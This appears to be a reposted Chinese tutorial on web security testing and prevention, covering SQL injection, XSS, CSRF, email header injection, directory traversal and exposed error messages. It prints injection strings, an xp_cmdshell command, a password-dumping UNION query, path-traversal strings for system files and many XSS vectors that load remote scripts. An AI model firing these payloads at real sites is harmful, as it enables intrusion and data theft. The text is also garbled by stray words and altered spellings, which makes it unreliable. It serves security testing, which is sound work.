1.SQL Injection(SQL 注入)php
(1)如何进行SQL注入测试?css
- 首先找到带有参数传递的URL页面,如搜索页面,登陆页面,提交评论页面等等.
注1:对于未明显标识在URL中传递参数的,能够经过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在<FORM>和</FORM>的标签中间的每个参数传递都有可能被利用.
<form id="form_search" action="/search/" method="get"> html <div>java <input type="text" name="q" id="search_q" value="" />sql <input name="search" type="image" src="/media/images/site/search_btn.gif" />shell <a href="/search/" class="fl">Gamefinder</a>数据库 </div>express </form> |
注2:当你找不到有输入行为的页面时,能够尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10
- 其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片段,如在登陆页面的URL中输入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--
注1:根据实际状况,SQL注入请求可使用如下语句:windows ' or 1=1- -安全 " or 1=1- - or 1=1- - ' or 'a'='a " or "a"="a ') or ('a'='a 注2:为何是OR,以及',――是特殊的字符呢? 例子:在登陆时进行身份验证时,一般使用以下语句来进行验证:sql=select * from user where username='username' and pwd='password' 如 输入http://duck/index.asp?username=admin' or 1='1&pwd=11,SQL语句会变成如下:sql=select * from user where username='admin' or 1='1' and password='11' '与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行. 接下来是OR查询条件,OR是一个逻辑运算符,在判断多个条件的时候,只要一个成立,则等式就成立,后面的AND就再也不时行判断了,也就是说咱们绕过了密码验证,咱们只用用户名就能够登陆. 如 输入http://duck/index.asp?username=admin'--&pwd=11,SQL语句会变成如下sql=select * from user where name='admin' --' and pasword='11', '与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行 接下来是"--"查询条件,“--”是忽略或注释,上述经过链接符注释掉后面的密码验证(注:对ACCESS数据库无效). |
- 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器的相关信息;若是能说明存在SQL安全漏洞.
- 试想,若是网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操做,这样形成的后果是很是严重的.
(2)如何预防SQL注入?
从应用程序的角度来说,咱们要作如下三项工做:
- 转义敏感字符及字符串(SQL的敏感字符包括“exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,” ‘ ”,”--”,”%”,”0x”,” ><=!-*/()| ”,和”空格”).
-
屏蔽出错信息:阻止攻击者知道攻击的结果
-
在服务端正式处理以前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法以前,服务端拒绝进行关键性的处理操做.
从测试人员的角度来说,在程序开发前(即需求阶段),咱们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,咱们通常检验如下几项安全性问题:
- 需求中应说明表单中某一FIELD的类型,长度,以及取值范围(主要做用就是禁止输入敏感字符)
- 需求中应说明若是超出表单规定的类型,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示.
固然在执行测试的过程当中,咱们也需求对上述两项内容进行测试.
2.Cross-site scritping(XSS):(跨站点脚本攻击)
(1)如何进行XSS测试?
- <!--[if !supportLists]-->首先,找到带有参数传递的URL,如登陆页面,搜索页面,提交评论,发表留言页面等等。
- <!--[if !supportLists]-->其次,在页面参数中输入以下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试:
<scrīpt>alert(document.cookie)</scrīpt> |
注:其它的XSS测试语句
><scrīpt>alert(document.cookie)</scrīpt> ='><scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(vulnerable)</scrīpt> %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt> <img src="javascrīpt:alert('XSS')"> %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp <scrīpt>alert('Vulnerable');</scrīpt> <scrīpt>alert('Vulnerable')</scrīpt> ?sql_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt> a/ a?<scrīpt>alert('Vulnerable')</scrīpt> "><scrīpt>alert('Vulnerable')</scrīpt> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="javascrīpt:alert('XSS');"> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert("XSS")> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascript:alert('XSS')> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out <IMG SRC=" javascrīpt:alert('XSS');"> <scrīpt>a=/XSS/alert(a.source)</scrīpt> <BODY BACKGROUND="javascrīpt:alert('XSS')"> <BODY ōNLOAD=alert('XSS')> <IMG DYNSRC="javascrīpt:alert('XSS')"> <IMG LOWSRC="javascrīpt:alert('XSS')"> <BGSOUND SRC="javascrīpt:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');"> <IMG SRC='vbscrīpt:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescrīpt:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"> <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascrīpt:alert('XSS')"> <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE> <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A class="XSS"></A> <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE> <BASE HREF="javascrīpt:alert('XSS');//"> getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascrīpt:alert('XSS');"> "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><" <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt> <IMG SRC="javascrīpt:alert('XSS')" <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīpt>'"--> <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> |
- 最后,当用户浏览时便会弹出一个警告框,内容显示的是浏览者当前的cookie串,这就说明该网站存在XSS漏洞。
- 试想若是咱们注入的不是以上这个简单的测试代码,而是一段常常精心设计的恶意脚本,当用户浏览此帖时,cookie信息就可能成功的被攻击者获取。此时浏览者的账号就很容易被攻击者掌控了。
(2)如何预防XSS漏洞?
从应用程序的角度来说,要进行如下几项预防:
- 对Javascrīpt,VB scrīpt, HTML,ActiveX, Flash等语句或脚本进行转义.
- 在服务端正式处理以前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法以前,服务端拒绝进行关键性的处理操做.
从测试人员的角度来说,要从需求检查和执行测试过程两个阶段来完成XSS检查:
- 在需求检查过程当中对各输入项或输出项进行类型、长度以及取值范围进行验证,着重验证是否对HTML或脚本代码进行了转义。
- 执行测试过程当中也应对上述项进行检查。
3.CSRF:(跨站点伪造请求)
CSRF尽管听起来像跨站脚本(XSS),但它与XSS很是不一样,而且攻击方式几乎相左。
XSS是利用站点内的信任用户,而CSRF则经过假装来自受信任用户的请求来利用受信任的网站。
XSS也好,CSRF也好,它的目的在于窃取用户的信息,如SESSION 和 COOKIES(关于SESSION 和COOKIES的介绍请参见个人另外一篇BLOG:http://www.51testing.com/?49689/action_viewspace_itemid_74885.html),
(1)如何进行CSRF测试?
关于这个主题本人也正在研究,目前主要经过安全性测试工具来进行检查。
(2)如何预防CSRF漏洞?
4.Email Header Injection(邮件标头注入)
Email Header Injection:若是表单用于发送email,表单中可能包括“subject”输入项(邮件标题),咱们要验证subject中应能escape掉“\n”标识。
- <!--[if !supportLists]--> <!--[endif]-->由于“\n”是新行,若是在subject中输入“hello\ncc:spamvictim@example.com”,可能会造成如下
Subject: hello
cc: spamvictim@example.com
- <!--[if !supportLists]--> <!--[endif]-->若是容许用户使用这样的subject,那他可能会给利用这个缺陷经过咱们的平台给其它用户发送垃圾邮件。
5.Directory Traversal(目录遍历)
(1)如何进行目录遍历测试?
- 目录遍历产生的缘由是:程序中没有过滤用户输入的“../”和“./”之类的目录跳转符,致使恶意用户能够经过提交目录跳转来遍历服务器上的任意文件。
- 测试方法:在URL中输入必定数量的“../”和“./”,验证系统是否ESCAPE掉了这些目录跳转符。
(2)如何预防目录遍历?
6.exposed error messages(错误信息)
(1)如何进行测试?
- 首先找到一些错误页面,好比404,或500页面。
- 验证在调试未开经过的状况下,是否给出了友好的错误提示信息好比“你访问的页面不存在”等,而并不是曝露一些程序代码。
(2)如何预防?
- 测试人员在进行需求检查时,应该对出错信息进行详细查,好比是否给出了出错信息,是否给出了正确的出错信息。